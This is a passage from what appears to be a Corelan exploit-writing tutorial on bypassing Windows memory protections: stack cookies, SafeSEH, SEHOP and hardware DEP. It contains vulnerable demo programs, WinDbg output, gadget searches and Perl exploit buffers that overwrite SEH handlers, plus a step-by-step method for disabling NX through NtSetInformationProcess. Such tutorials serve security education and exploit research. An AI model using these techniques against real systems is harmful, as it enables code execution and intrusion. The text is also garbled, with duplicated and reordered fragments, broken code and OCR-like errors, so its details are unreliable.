0012f68: basicbof!_CxxFrameHandler3+c (00401ad0)
Invalid exception stack at 00004141
```

This means that we "may" be able to bypass the GS stack cookie by using the exception handler. Now if you leave out the exception handling code again (in function GetInput), and feed the application the same number of characters, then we get this :

```
0:000> g (126c.2ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=012f6d1 edx=00130000 esi=00000001 edi=0040337c
esp=004010b2 ebp=0012f994 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
基本bof!GetInput+0xb2: mov byte ptr [edx],al ds:0023:00130000=41
0:000> !exchain
0012f68: basicbof!_CxxFrameHandler3+c (00401ad0)
Invalid exception stack at 0012f994
```

So same argument length, but the extra exception handler was not added, so it took us not that much bytes to overwrite SE structure this time. It looks like we have triggered an exception before the stack cookie could have been checked. As explained earlier, this is caused by the second strcpy statement in GetInput() To prove my point, leave out this second strcpy (so only one strcpy, and no exception handler in the application), and then this happens :

```
0:000> g eax=000036c0 ebx=00000000 ecx=000036c0 edx=7c90e514 esi=00000001 edi=0040337c
esp=7c90e514 ebp=0012f994 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
tdll!KiFastSystemCallRet: 7c90e514 c3 ret
```

=> stack cookie protection worked again.

So, conclusion : it is possible to bypass stack cookies if the vulnerable function will cause an exception in one way or another other way BEFORE the cookie is checked => stack cookie protection worked again.

Note : In order to exploit this particular application, you would probably need to deal with /safeseh as well… Anyways, stack cookie protection was bypassed... :-) 

**Stack cookie bypass demonstration 2 : Virtual Function call**

In order to demonstrate this technique, I’ll re-use a piece of code that can be found in Alex Soritov and Mark Dowd’s paper from Blackhat 2008 (slightly modified so it would compile under VS2008 C++)

```
// gsvtable.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
class Foo { 
public: 
void __declspec(noinline) gs3(char* src) 
{ char buf[8]; 
strcpy(buf, src);
bar(); // virtual function call 
}
virtual void __declspec(noinline) bar() 
{
}
int main() 
{ Foo foo;
foo.gs3( 
 "AAAA"
"BBBB"
"CCCC"
"DDDD"
"EEEE"
"FFFF"
return 0;
}
```

The Foo object called foo is initialized in the main function, and allocated on the stack of this main function. Then, foo is passed as argument to the Foo.gs3() member function. This gs3() function has a strcpy vulnerability (foo from main() is copied into buf, which is only 8 bytes. So if foo is longer than 8 bytes, a buffer overflow occurs). After the strcpy(), a virtual function bar() is executed. Because of the overflow earlier, the pointer to the vtable on the stack may have been overwritten, and application flow may be redirected to your shellcode instead. After compiling with /gs, function gs3 looks this :

```
0:000> uf Foo::gs3
0000401000 55 push ebp
```
http://www.corelan.be:8800 - Page 17 / 48

Stack cookie:

```
Stack cookie:

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00403018</td>
<td>cd1ee24d 32e11db2 ffffffff ffffffff</td>
</tr>
<tr>
<td>0x00403028</td>
<td>fffffffe 00000001 004020f0 00000000</td>
</tr>
<tr>
<td>0x00403038</td>
<td>56413f2e 406f6f46 00000000 00000000</td>
</tr>
<tr>
<td>0x00403048</td>
<td>00000000 00343018 00342980 00000000</td>
</tr>
<tr>
<td>0x00403058</td>
<td>00000000 00000000 00000000 00000000</td>
</tr>
</tbody>
</table>
```

Virtual function bar looks like this:

```
0:000> uf Foo::bar
gsvtable!Foo::`vftable':
```

If we look at the stack right at the point when function gs3 is called (so before the overflow occurs, breakpoint at 0x00401000):

```
If we look at the stack right at the point when function gs3 is called (so before the overflow occurs, breakpoint at 0x00401000):

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0012ff70</td>
<td>saved EIP</td>
</tr>
<tr>
<td>0x0012ff74</td>
<td>arguments</td>
</tr>
<tr>
<td>0x0012ff78</td>
<td>vtable pointer (points to 0x0040211c)</td>
</tr>
</tbody>
</table>
```

If you want to show your respect for my work - donate: http://www.corelan.be:8800/index.php/donate/
0040212c 7010        jo  gsvtable!_load_config_used+0xe (0040212e)
0040211e 40              inc     eax
0040211f 004800          add     byte ptr [eax],cl
00402122 0000            add     byte ptr [eax],al
00402124 0000            add     byte ptr [eax],al
00402126 0000            add     byte ptr [eax],al
00402128 0000            add     byte ptr [eax],al
0040212a 0000            add     byte ptr [eax],al

Right before the strcpy begins, stack is set up like this:
(so 32 bytes have been made available on the stack first (sub esp,20), making ESP point to 0x0012ff4c)

At 0x0012FF78, we see the vtable pointer. Stack at 0x0012ff5c contains 0x0012ff78.
The stack cookie is first put in EAX and then XORed with EBP. It is then put on the stack (at 0x001268)

After writing AAAABBBCCCDDED to the stack (thus already overflowing buffer buf[]), we have overwritten the cookie with CCCC and we are about to overwrite saved EIP with EEEE

After the overwrite is complete, the stack looks like this:
0x0012ff5c still points to 0x0012ff78, which points to vtable at 0x0040211c.

After performing the strcpy (overwriting the stack), the instructions at 0040104D will attempt to get the address of the virtual function bar() into eax.
Before these instructions are executed, the registers look like this:
Then, these 4 instructions are executed, attempting to load the address of the function into eax...

```
00401040 | 8B45 F0        MOV EAX,DWORD PTR SS:[EBP-10]
00401050 | 8B10           MOV EDX,DWORD PTR DS:[EAX]
00401052 | 8B4D F0        MOV ECX,DWORD PTR SS:[EBP-10]
00401055 | 8B02           MOV EAX,DWORD PTR DS:[EDX]
```

The end result of these 4 instructions is

```
00401057 | FFD0           CALL EAX                 ;  gsvtable.00401070
```

but EAX now contains data we control...

```
00401057 | FFD0           CALL EAX                 ;  gsvtable.00401070
```

SafeSeh

SafeSeh is yet another security mechanism that helps blocking the abuse of SEH based exploitation at runtime. It is as compiler switch (/safeSEH) that can be applied to all executable modules (so .exe files, .dll’s etc). (read more at uninformed v5a2).

Instead of protection the stack (by putting a cookie before the return address), the exception handler frame/chain is protected, making sure that if the seh chain is modified, the application will be terminated without jumping to the corrupted handler. The SafeSeh will verify that the exception handling chain is unmodified before
Bypassing SafeSEH : Introduction

As explained in chapter 3 of this tutorial series, the only way safeseh can be bypassed is:

- Try not to execute a seh based exploit (but look for a direct ret overwrite instead :)

or

- If the vulnerable application is not compiled with safeseh and one or more of the loaded modules (OS modules or application-specific modules) is/are not compiled with safeseh, then you can use a pop pop ret address from one of the non-safeseh compiled modules to make it work. In fact, it’s recommended to look for an application specific module (that is not safeseh compiled), because it would make your exploit more reliable across various versions of the OS. But if you have to use an OS module, then it will work too (again, as long as it’s not safeseh compiled).

- If the only module without safeseh protection is the application binary itself, then you may still be able to pull off the exploit, under certain conditions. The application binary will (most likely) be loaded at an address that starts with a null byte. If you can find a pop pop ret instruction in this application binary, then you will be able to use that address (the null byte will be at the end), however you will not be able to put your shellcode after the seh handler overwrite (because the shellcode would not be put in memory - the null byte would have acted as string terminator). So in this scenario, the exploit will only work if:

  - the shellcode is put in the buffer before nseh/seh are overwritten
  - the shellcode can be referenced utilizing the 4 bytes of available opcode (jumpcode) where nseh is overwritten. (a negative jump may do the trick here)
  - you can still trigger an exception (which may not be the case, because most exceptions occur when overflowing the stack, which will not work anymore when you stop at overwriting seh)

For more information about seh and safeseh, have a look at:


Also, most part of this chapter is based on work from David Litchfield (Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server)

As stated earlier, starting with Windows server 2003, a new application protection mechanism has been put in place. This technique should help stopping the abuse of exception handler overwrites. In short, this is how it works:

When an exception handler pointer is about to get called, ridtd.dll (KiUserExceptionDispatcher) will check to see if this pointer is in fact a valid EH pointer. First, it tries to eliminate the code that would jump back to an address on the stack directly. It does this by getting the stack high and low address (by looking at the Thread Environment Block’s (TEB) entry, looking at FS:[4] and FS:[8]). If the exception pointer is within that range (thus, if it points to an address on the stack), the handler will not be called.

If the handler pointer is not a stack address, the address is checked against the list of loaded modules (and the executable image itself), to see whether it falls within the address range of one of these modules. If that is the case, the pointer is checked against the list of registered handlers. If there is a match, the pointer is allowed. I’m not going to discuss the details on how the pointer is checked, but remember that one of the key checks are performed against the Load Configuration Directory. If the module does not have a Load Configuration Directory, the handler would be called.

What if the address does not fall within the range of a loaded module? Well, in that case, the handler is considered safe and will be called. (That’s what we call Fail-Open security :)

There are a couple of possible exploit techniques for this new type of SEH protections:

- If the address of the handler, as taken from the exception registration structure, is outside the address range of a loaded module, then it is still executed.
- If the address of the handler is inside the address range of a loaded module, but this loaded module does not have a Load Configuration Directory, and the DLL characteristics would allow us to pass the SE Handler verification test, the pointer will get called.
- If the address of the handler is overwritten with a direct stack address, it will not be executed. But if the pointer to the exception handler is overwritten with a heap address, it will be called. (Of course, this involves loading your exploit in the heap and then trying to guess a more or less reliable address on the heap where you can redirect the application flow to. This may be difficult because this address may not be predictable).

- If the exception registration structure is overwritten and the pointer is set to an already registered handler, which executes code that helps you gaining control. Of course, this technique is only useful if that exception handler code does not break the shellcode and does in fact help putting a controlled address in EIP. True, this is rarely the case, but sometimes it happens.

Bypassing SafeSEH : Using an address outside the address range of loaded modules

The loaded modules/executable image loaded into memory when an application runs most likely contains pointers to pop/pop/ret instructions, which is what we’re usually after when building SEH based exploits. But this is not the only memory space where we can find similar instructions. If we can find a pop pop ret instruction in a location outside the address range of a loaded module, and this location is static (because for example it belongs to one of the Windows OS processes), then you can use that address as well. Unfortunately, even if you do find an address that is static, you’ll find out that this address may not be the same address across different versions of the OS. So the exploit may only work if you are only targeting one specific version of the OS. Another (perhaps even better) way of overcoming this ‘issue’ is by looking at an other set of instructions.

- call dword ptr [esp+n]
- jmp dword ptr [esp+n+4]

(Possible offsets (nn) to look for are esp+8, esp+14, esp+1c, esp+50, ebp+0c, ebp+24, ebp+30, ebp+04, ebp+0c, ebp+10)

An alternative would be that, if esp+8 points to the exception registration structure as well, then you could still look for a pop pop ret combination (in the memory space outside the range from the loaded modules) and it would work too. Finally, you can look for “add esp+8 + ret”, which would bypass SafeSEH as well.

Let’s say we want to look for esp+30. Convert the call and jmp instructions to opcodes:

```assembly
0:000> a
00010cb call dword ptr [ebp+0x30]
call dword ptr [ebp+0x30]
00010ce jmp dword ptr [ebp+0x30]
hand dword ptr [ebp+0x30]
00010d0

0:000> u 004010cb
004010cb call dword ptr [ebp+0x30]
call dword ptr [ebp+0x30]
004010ce jmp dword ptr [ebp+0x30]
hand dword ptr [ebp+0x30]
```

Now try to find an address location that contains these instructions, and is located outside of the loaded modules/executable binary address space, and you may have a winner.

In order to demonstrate this, we’ll use the simple code that was used to explain the IGS (Stack cookie) protection (example 1), and try to build a working exploit on Windows 2003 Server R2 SP2, English, Standard Edition.
#include "stdafx.h"
#include "windows.h"

void GetInput(char* str, char* out)
{
    char buffer[500];
    try
    {
        strcpy(buffer,str);
        strcpy(out,buffer);
        printf("Input received : %sn",buffer);
    }
    catch (char* strErr)
    {
        printf("No valid input received ! \n");
        printf("Exception : %sn",strErr);
    }
}

int main(int argc, char* argv[])
{
    char buf2[128];
    GetInput(argv[1],buf2);
    return 0;
}

This time, compile this executable without /GS and /RTc, but make sure the executable is safeseh enabled (so /safeseh:no is not set under 'linker' command line options). Note: I am running Windows 2003 server R2 SP2 Standard edition, English, with DEP in OptIn mode (so only active for Windows core processes, which is not the default setting on Windows 2003 server R2 SP2. Don’t worry, I’ll talk about DEP/NX later on).

When loading this executable in ollydbg, we can see that all modules and executables are safeseh protected.

```
00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.......
```

This exception may be expected and handled.

```
0:000> s 0100000 l 77fffff
Invalid exception stack at 42424242
0:000> !exchain
```

```
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
```

```
0:000> g
```

```c
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"

char GetInput(argv[1],buf2);
```

```
0:000> s 0100000 l 77fffff
```

Valid exception stack at 42424242

ok, so far so good. Now we need to find an address to put in seh. All modules (and the executable binary) are safeseh compiled, so we cannot use an address from these ranges.

Let’s search memory for call/jmp dword ptr[reg+nn] instructions. We know that

```
opcode ff 55 30 = call dword ptr [ebp+0x30] and opcode ff 65 30 = jmp dword ptr [ebp+0x30]
```

Alternatively, you can use my own pvefindaddr pycommand plugin for immunity debugger to help finding those addresses. The pvefindaddr seh command will look for all call/jmp combinations automatically and only list the ones that are outside the range of a loaded module :

```
0:000> s 0100000 l 77fffff ff 55 30
00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e
```

```
0:000> s 0100000 l 77fffff ff 65 30
00270b0b  ff 65 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e
```

We will overwrite the SE structure after 508 bytes. So the following code will put “BBBB” in next_seh and “DDDD” in seh :

```
my $size=508;
$junk="A" x $size;
$junk=$junk."BBBB";
$junk=$junk."DDDD";
```

```
system("C:\Program Files\Debugging Tools for Windows \x86\\windbg" seh "$junk"
```

We will do the same thing in the call handler for the seh.exe module.
You can also use the Microsoft vadump tool to dump the virtual address space segments.

Get back to our search operation. If you want to look for more/different similar instructions (basically increasing the search scope), leave out the offset value in your search (or just use the pvefindaddr plugin in immdbg and you'll get all results right away):

```
0:000> s 0100000 l 77fffff
```

```
ff 55
```

```
00267643  ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3  .U.a.T.W...X....
```

```
00270bff ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0....
```

```
002fbfd8 ff 55 02 02 02 56 02 02-03 56 02 02 04 56 02 02  .U...V...V...V...
```

```
00401183 ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 54  .U...E..W..t%VhT
```

```
0040149e ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00  .U....E..E..E...
```

```
00401509 ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe  .U....E......E..
```

```
00401542 ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14  .U...E..H<....A.
```

```
0040163e ff 55 8b ec ff 75 08 e8-22 40 00 68 65 18 40 00  .U..j.h."..@.he.@.
```

```
004016b1 ff 55 8b ec ff 75 08 e8-4e ff ff ff ff f7 d8 1b c9  .U...M..f9.t
```

```
004016f1 ff 55 8b ec ff 75 08 e8-48 3c 03 c8 0f b7 41 14  .U...E..H..A.
```

```
00401741 ff 55 8b ec ff 75 08 e8-22 40 00 68 65 18 40 00  .U..j.h."..@.he.@.
```

```
00401866 ff 55 8b ec ff 75 08 e8-4e ff ff ff ff f7 d8 1b c9  .U...M..f9.t
```

```
004018b9 ff 55 8b ec ff 75 08 e8-48 3c 03 c8 0f b7 41 14  .U...E..H..A.
```

```
00401918 ff 55 8b ec ff 75 08 e8-48 3c 03 c8 0f b7 41 14  .U...E..H..A.
```

bingo ! Now we need to find the address that will make a jump to our structure. This address cannot reside in the address space of the binary or one of the loaded modules.

By the way: if we look at the content of ebp when the exception occurs, we see

```
\{be(b.d)c\}: Break instruction exception - code 80000003 (first chance)
```

```
eax=78600000 ebx=7fffe000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=0015f3b8
```

```
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0
```

```
nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
```

```
efl=00000202
```

```
ntdll!DbgBreakPoint: int 3
```

```
7c81a3e1 cc
```

```
Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
```

Save the environment - don’t print this document!


If you want to show your respect for my work - donate: http://www.corelan.be:8800/index.php/donate/
Let's overwrite nextseh with some breakpoints, and put 0x00270b0b in seh:

(or, alternatively, we could try to jump 'back' instead of forward. Anyways, we'll see). If this would have been a unicode exploit, it would not have been an issue (00 00 is string terminator) (so we won't be able to put our shellcode after overwriting seh… but perhaps we can put it before overwriting the SE structure and reference it anyway. The only issue we may need to deal with is the fact that our “call dword ptr[ebp+30h]” address from unicode.nls starts with a null byte, and out input is ascii (null byte = 0x00280b0b)

Standard SP2 English, which makes the exploit reliable. On Windows XP SP3 English, it is mapped at 0x00270000 (so the address to use on XP SP3 would be 0x00270b0b)

(again, you can use my own prefindaddr pycommand, which will do all of this work automatically)

The only issue we may need to deal with is the fact that our “call dword ptr[ebp+30h]” address from unicode.nls starts with a null byte, and out input is ascii (null byte = string terminator) (so we won’t be able to put our shellcode after overwriting seh… but perhaps we can put it before overwriting the SE structure and reference it anyway (or, alternatively, we could try to jump ‘back’ instead of forward. Anyways, we’ll see). If this would have been a unicode exploit, it would not have been an issue (00 00 is the string terminator in unicode, not 00)

Let’s overwrite nextseh with some breakpoints, and put 0x00270b0b in seh:

```c
$junk='A' x 508;
$junk=$junk.'\xcc\xcc\xcc\xcc';
$junk=$junk.pack('V',0x00270b0b);
```

Back to the search results. All addresses (see output of the search operation earlier) that start with 0x004 cannot be used (because they belong to the binary itself), and only 0x00270b0b will make the jump we want to take… This address belongs to unicode.nls (and not to any of the loaded modules). If you look at the virtual address space for multiple processes (swvhost.exe, w3wp.exe, cssns.exe etc), you can see that unicode.nls is mapped in a lot of processes (not all of them), at a different base address. Luckily, the base address remains static for each process. For console applications, it will always be mapped at 0x00260000 (on Windows 2003 Server R2 Standard SP2 English, which makes the exploit reliable. On Windows XP SP3 English, it is mapped at 0x00270000 (so the address to use on XP SP3 would be 0x00270b0b)

```c
$source=$source.'\xcc\xcc\xcc\xcc';
$source=$source.pack('V',0x00270b0b);
```

Let’s overwrite nextseh with some breakpoints, and put 0x00270b0b in seh:
so)… but it should work.

determined to be valid (call ntdll!RtlIsValidHandler) and finally the handler was executed, which brings us back to the nseh (4 breakpoints in our scenario).

When stepping through the instructions after the exception occurred (’C’ command in windbg), we can see that the validation routines were executed (by ntdll), the address was determined to be valid (call ntdll!RtlsValidHandler) and finally the handler was executed, which brings us back to the nseh (4 breakpoints):

```
exeax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=0012fe0 esp=0012fe04 ebp=0012fe4c iopl=0         nv up ei pl zr np pe nc
eax=0012fe00 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=0012fe00 esp=0012fe04 ebp=0012fe4c iopl=0         nv up ei pl zr np pe nc
```

dllExecuteHandler+0x24: 7c828770 call ecx (00270b0b)

When looking at eip (see previous windbg output), we can see that our “junk” buffer can be easily referenced, despite the fact that we could not overwrite more memory after overwriting nseh (because it contains a null byte). So we still may be able to get a working exploit. The shellcode space will be more or less limited (500 bytes or so)... but it should work.

So if we replace the A’s with nops+shellcode=junk, and make a jump into the nops, we should be able to take control. Sample exploit (with breakpoints as shellcode):

```
my $size=508;
my $shellcode="/\x90" x 24;
my $shellcode="\x90x\x90x\x90x\x90x;"
$junk=$shellcode;
$junk=$junk."\x90" x ($size-length($nops.$shellcode));
$junk=$junk."\xeb\x81\x90\x90\x90"; # nseh, jump 26 bytes
print "Payload length : ",length($junk)."
;
```

Symbol search path is: SRV:\\windbg\symbols=\msdl.microsoft.com/download\symbols

Executable search path is:

```
ModLoad: 7c8b0000 7c8ce200 ntdll.dll
ModLoad: 7c8f0000 7c8f4200 C:\WINDOWS\System32\kernel32.dll
ModLoad: 7b526000 7b533000 C:\WINDOWS\Win32\x86 ...4148 x-xw D495AC4E\MSVC90.dll
{f68.9ac}: Break instruction exception - code 00000003 (first chance)
```

First chance exceptions are reported before any exception handling. This exception may be expected and handled.

```
eip=0012f280 ebx=00000000 ecx=0012f280 edx=00133000 esi=00000001 edi=004033a8
eip=004030c4 ebx=0012f280 edx=0012f280 esp=0012f2cb4 iopl=0
```

Invalidate exception stack at 9090aeb

```
eip=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
```

---

Knowledge is not an object, it's a flow

If you want to show your respect for my work - donate: http://www.corelan.be/8800/index.php/donate/
Changing the offset and moving the shellcode a little bit around, this fine piece of code will do the trick again (Windows 2003 Server R2 SP2 Standard, English, application)

You'll notice that the exploit fails, but that's only because the offset to overwriting the SE structure is different (because of the security_cookie stuff that goes on). After

Re-compile the executable with /GS and /Safeseh (so both protections at the same time) and try the exploit again.

We'll put the shellcode in the payload before the SE structure was overwritten

properly run otherwise)

execute a jump back of 400 bytes (-400 (decimal) = fffffe70 hex)). The number of nops before putting the shellcode was set to 25 (because the shellcode will not

one jump (back) at nseh (7 bytes), which will put eip at the end of the buffer before hitting the SE structure,

Well, what the heck, let's use 2 backward jumps to overcome the corruption and make this one work :

pwned ! (that is, if you can find a way around the shellcode corruption when jumping forward :-()
**SEHOP**

A document explaining a technique to bypass SEHOP was recently released and can be found at [http://www.sysdream.com/articles/sehop_en.pdf](http://www.sysdream.com/articles/sehop_en.pdf)

**DEP**

In all the examples we have used so far, we have put our shellcode somewhere on the stack and then attempted to force the application to jump to our shellcode and execute it. Hardware DEP (or Data Execution Prevention) aims are preventing just that... it enforces non-executable pages (basically marks the stack/part of the stack as non-executable), thus preventing the execution of arbitrary shellcode.

Wikipedia states "DEP runs in two modes: hardware-enforced DEP for CPUs that can mark memory pages as non-executable (NX bit), and software-enforced DEP with a limited prevention for CPUs that do not have hardware support. Software-enforced DEP does not protect from execution of code in data pages, but instead from another type of attack (SEH overwrite)."


In other words: Software DEP = Safeseh! Software DEP has nothing to do with the NX/XD bit at all! (You can read more about the behaviour of DEP in this Microsoft KB article and at Uninformed).

When the processor/system has NX/XD support/enabled, then Windows DEP = hardware DEP. If the processor does not support it, you don't get DEP, but only safeseh (when enabled).

The Data Execution Prevention tabsheet in Windows will indicate which hardware support is enabled or not. When the processor/system does not have NX/XD support/enabled, then Windows DEP = software DEP. The Data Execution Prevention tabsheet in Windows will indicate this:

Your computer's processor does not support hardware-based DEP. However, Windows can use DEP software to help prevent some types of attacks.

2 big processor vendors have implemented their own non-exec page protection (hardware DEP):

- The no-execute page-protection (NX) processor was developed by AMD.
- The Execute Disable Bit (XD) feature was developed by Intel.

It is important to understand that, depending on the OS version/SP level, the behaviour of software DEP can be different. Where software DEP was enabled only for core Windows processes in earlier versions of Windows, and client versions of the operating system (and can...
support DEP for applications that are enabled for protection or have a flag set), this setting has been reversed in later versions of the Windows server OS, where everything is DEP protected, except for the processes that are manually added to the exclusion list. It’s quite normal that client OS versions use the OptIn method, because they need to be able to run all sorts of software packages which may or may not be DEP compatible. On servers, it’s more safe to assume that applications will get properly tested before being deployed to a server (and if things break, they can still be put in the exclusion list). The default DEP setting on Windows 2003 server SP3 is OptOut. This means that, by default, all processes are protected by DEP, except the ones that are put in the exception list. The default DEP setting on Windows XP SP2 and Vista is OptIn (so only system processes and applications are protected). Next to OptIn and optout, there are 2 more modes (boot options) that affect DEP:

- AlwaysOn: indicates that all processes are protected by DEP, with no exceptions. In this mode, DEP cannot be turned off at runtime.
- AlwaysOff: indicates that no processes are protected by DEP. In this mode, DEP cannot be turned on at runtime. On 64bit Windows systems, DEP is always on and cannot be disabled. Keep in mind that Internet Explorer is still a 32bit application and is subject to the DEP modes described above.

**NX/XD bit**

Hardware-enforced DEP enables the NX bit on compatible CPUs, through the automatic use of PAE kernel in 32-bit Windows and the native support on 64-bit kernels. Windows Vista DEP works by marking certain parts of memory as being intended to hold only data, which the NX or XD bit enabled processor then understands as non-executable. This helps prevent buffer overflow attacks from succeeding. In Windows Vista, the DEP status for a process, that is, whether DEP is enabled or disabled for a particular process can be viewed on the Processes tab in the Windows Task Manager.

The concept of NX protection is pretty simple. If the hardware supports NX, if the BIOS is configured to enable NX, and the OS supports it, at least the system services will be protected. Depending on the DEP settings, apps could be protected too. Compilers such as Visual Studio C++ offer a link flag (/NXCOMPAT) that will enable applications for DEP protection.

When running the exploits from previous chapter against a Windows 2003 Server (R2, SP2, standard edition) that has NX (Hardware DEP) enabled, or NX disabled and DEP set to OptOut, these exploits stop working (because our 0x00270b0b/0x02800b address failed the check if this is a valid handler test, which is what software DEP does, or just fails because it attempts to execute code from the stack (which is what NX/XD HW Dep attempts to prevent). If you add our little seh.exe vulnerable application to the DEP exclusion list, the exploit works again (after we change the call dword ptr[ebp+30h] address from 0x00270b0b to 0x02800b0b). So DEP works fine.

**Bypassing (HW) DEP**

As of today, there are a couple of well known techniques to bypass DEP:

- ret2libc (no shellcode)

This technique is based on the concept that, instead of performing a direct jump to your shellcode (which will be blocked by DEP), a call to an existing library/function is made. As a result, the code in that library/function is executed (optionally taking data from the stack as argument) and used as your ‘malicious code’. You basically overwrite EIP with a call to an existing piece of code in a library, which triggers for example a “system” command “cmd”. So while the NX/XD stack and heap prevent arbitrary code execution, the library code itself is still executable and can be abused. (Basically, you return into a library function with a fake call frame). It’s clear that this technique somewhat limits the type of code that you want to execute, but you can live with this. You can work. You can read more about this technique at http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf and at http://securitytube.net/Buffer-Overflow-Primer-Part-6-(Return-to-LibC-Theory)-video.aspx

**ZwProtectVirtualMemory**

This is another technique that can be used to bypass hardware DEP. Read more at http://woct-blog.blogspot.com/2005/01/dep-evasion-technique.html. This technique is based on ret2libc, in essence it chains multiple ret2libc functions together in order to redefine parts of memory as executable. In this scenario, the stack is set up in such a way that, when a function call returns, it calls the VirtualProtect function. One of the parameters that is passed on to this function is the return address. If you set this return address to be for example a jmp esp, and you have your shellcode sitting at ESP when the VirtualProtect function returns, you’ll have a working exploit. Other parameters are the address of the shellcode (or memory location that needs to be set executable (the stack for example)), the size of the shellcode, etc... Unfortunately, returning into VirtualProtect requires you to be able to use null bytes (which can be a bummer if you are working with string based buffers/ascii payload). I won’t further discuss this technique in this document.

**Disable DEP for the process (NtSetInformationProcess)**

Because DEP can be put in different modes (optin, optout, etc), the OS (ntdll) needs to be able to turn off DEP on a per process basis, at runtime. So there must be some code, a handler, that will determine whether NX must be enabled or not, and optionally turn off NX/XD, if required. If a hacker can take advantage of this ntdll API, NX/Hardware DEP protection could be bypassed.

The DEP settings for a process are stored in the Flags field in the kernel (KPROCESS structure). This value can be queried and changed with NtQueryInformationProcess. This means that, by default, all processes are protected by DEP, except the ones that are put in the exception list. The default DEP setting on Windows XP SP2 and Vista is OptIn (so only system processes and applications are protected).
“ExecuteDisable” is set when DEP is enabled. “ExecuteEnable” is set when DEP is disabled. The “Permanen” flag, when set, indicates that these settings are final and cannot be changed.

In order to disable NX/HW DEP on Windows XP, the following things need to happen:

1. eax must be set to 1 (well, the low bit of eax must be set to 1) and then the function should return (instructions such as "mov eax,1 / ret" = "mov al,0×1 / ret" = "xor eax,eax / inc eax / ret" - etc do). You'll see why this needs to happen in a minute.
2. jump to LdrpCheckNXCompatibility, where the following things happen:
   (1) set esi to 2
   (2) see if zero flag is set (which is the case if eax contains 1)
   (3) a check is made whether the low byte of eax contains 0 or not. If it does, a jump is made to another piece of code in LdrpCheckNXCompatibility
   (4) a local variable is set to the contents of esi. (ESI contains 2 – see step (1), so this variable will contain 2)
   (5) jump to another piece of code in LdrpCheckNXCompatibility is made
   (6) A check is made to see if this local variable contains 0. It contains 2 (see step 4), so it will redirect flow and jump to another piece of code in LdrpCheckNXCompatibility
   (7) Here, a call to NtSetInformationProcess is made, with the ProcessExecuteFlags information class. The processinformation parameter pointer is passed, which was previously initialized to 2 (see step 1 and 4). This results in NX being disabled for the process.
   (8) At this location, a typical function epilogue is executed (saved registers are restored and leave/ret instructions are called).

In order to get this to work, you need to know 3 addresses, and they need to be placed at very specific places on the stack:

- set eax to 1 and return. You need to overwrite EIP with this address.
- address of start of cmp al,0×1 inside ntdll!LdrpCheckNXCompatibility. When eax is set to 1 and the function returns, this address need to be next in line on the stack (so it is being put in EIP). Pay attention to the "ret" instruction from previous step. If there is a ret + offset, you may need to apply this offset in the stack. This will make the
  jump to the stack that will disable NX and then returns. Just step through the exploit and see where it returns at.
- jump to your shellcode (imp esp, etc). When the "disable NX" returns, this address must be put in EIP.

Furthermore, ebp must point to a valid, writable address, so the value (digit '2') can be stored (This variable which will serve as a parameter to the SetInformationProcess call, disabling NX). Since you have probably also overwritten saved EBP with your buffer, you'll have to build in a technique that will make ebp point to a valid writable address (address on the stack for example) before initiating the NX Disable routines. We'll talk about this later on.

In order to disable NX/HW DEP on Windows XP, we'll use the vulnerable server application (code available at top of this post under "Stack cookie protection - address of start of cmp al,0×1 inside ntdll!LdrpCheckNXCompatibility. When eax is set to 1 and the function returns, this address need to be next in line on the stack (so it is being put in EIP). Pay attention to the "ret" instruction from previous step. If there is a ret + offset, you may need to apply this offset in the stack. This will make the
  jump to the stack that will disable NX and then returns. Just step through the exploit and see where it returns at.
- jump to your shellcode (imp esp, etc). When the "disable NX" returns, this address must be put in EIP.

Furthermore, ebp must point to a valid, writable address, so the value (digit '2') can be stored (This variable which will serve as a parameter to the SetInformationProcess call, disabling NX). Since you have probably also overwritten saved EBP with your buffer, you'll have to build in a technique that will make ebp point to a valid writable address (address on the stack for example) before initiating the NX Disable routines. We'll talk about this later on.

In order to disable NX/HW DEP on Windows XP, we'll use the vulnerable server application (code available at top of this post under "Stack cookie protection debugging & demonstration"), which will spawn a network listener (tcp 200) and wait for input. This application is vulnerable to a buffer overflow, allowing us to directly control RET (saved EIP). Compile this code on Windows XP SP2 (without /GS, without Safeseh). Make sure DEP is enabled.

Let's gather all components and setup the stack in a special way, which is required to make this bypass work.

We can find an instruction that will put 1 in eax and then return in ntdll\NtDl\OkayToLockRoutine():

    7c95371a b001 mov al,1
    7c95371c c20400 ret 4

Pay attention: we need to deal with a 4 byte offset change (because a ret+0×04 will be executed)

Some other possible instructions can be found here:

kernel32.dll:

    7c801ca0 b001 mov al,1
    7c801ca2 c3 ret
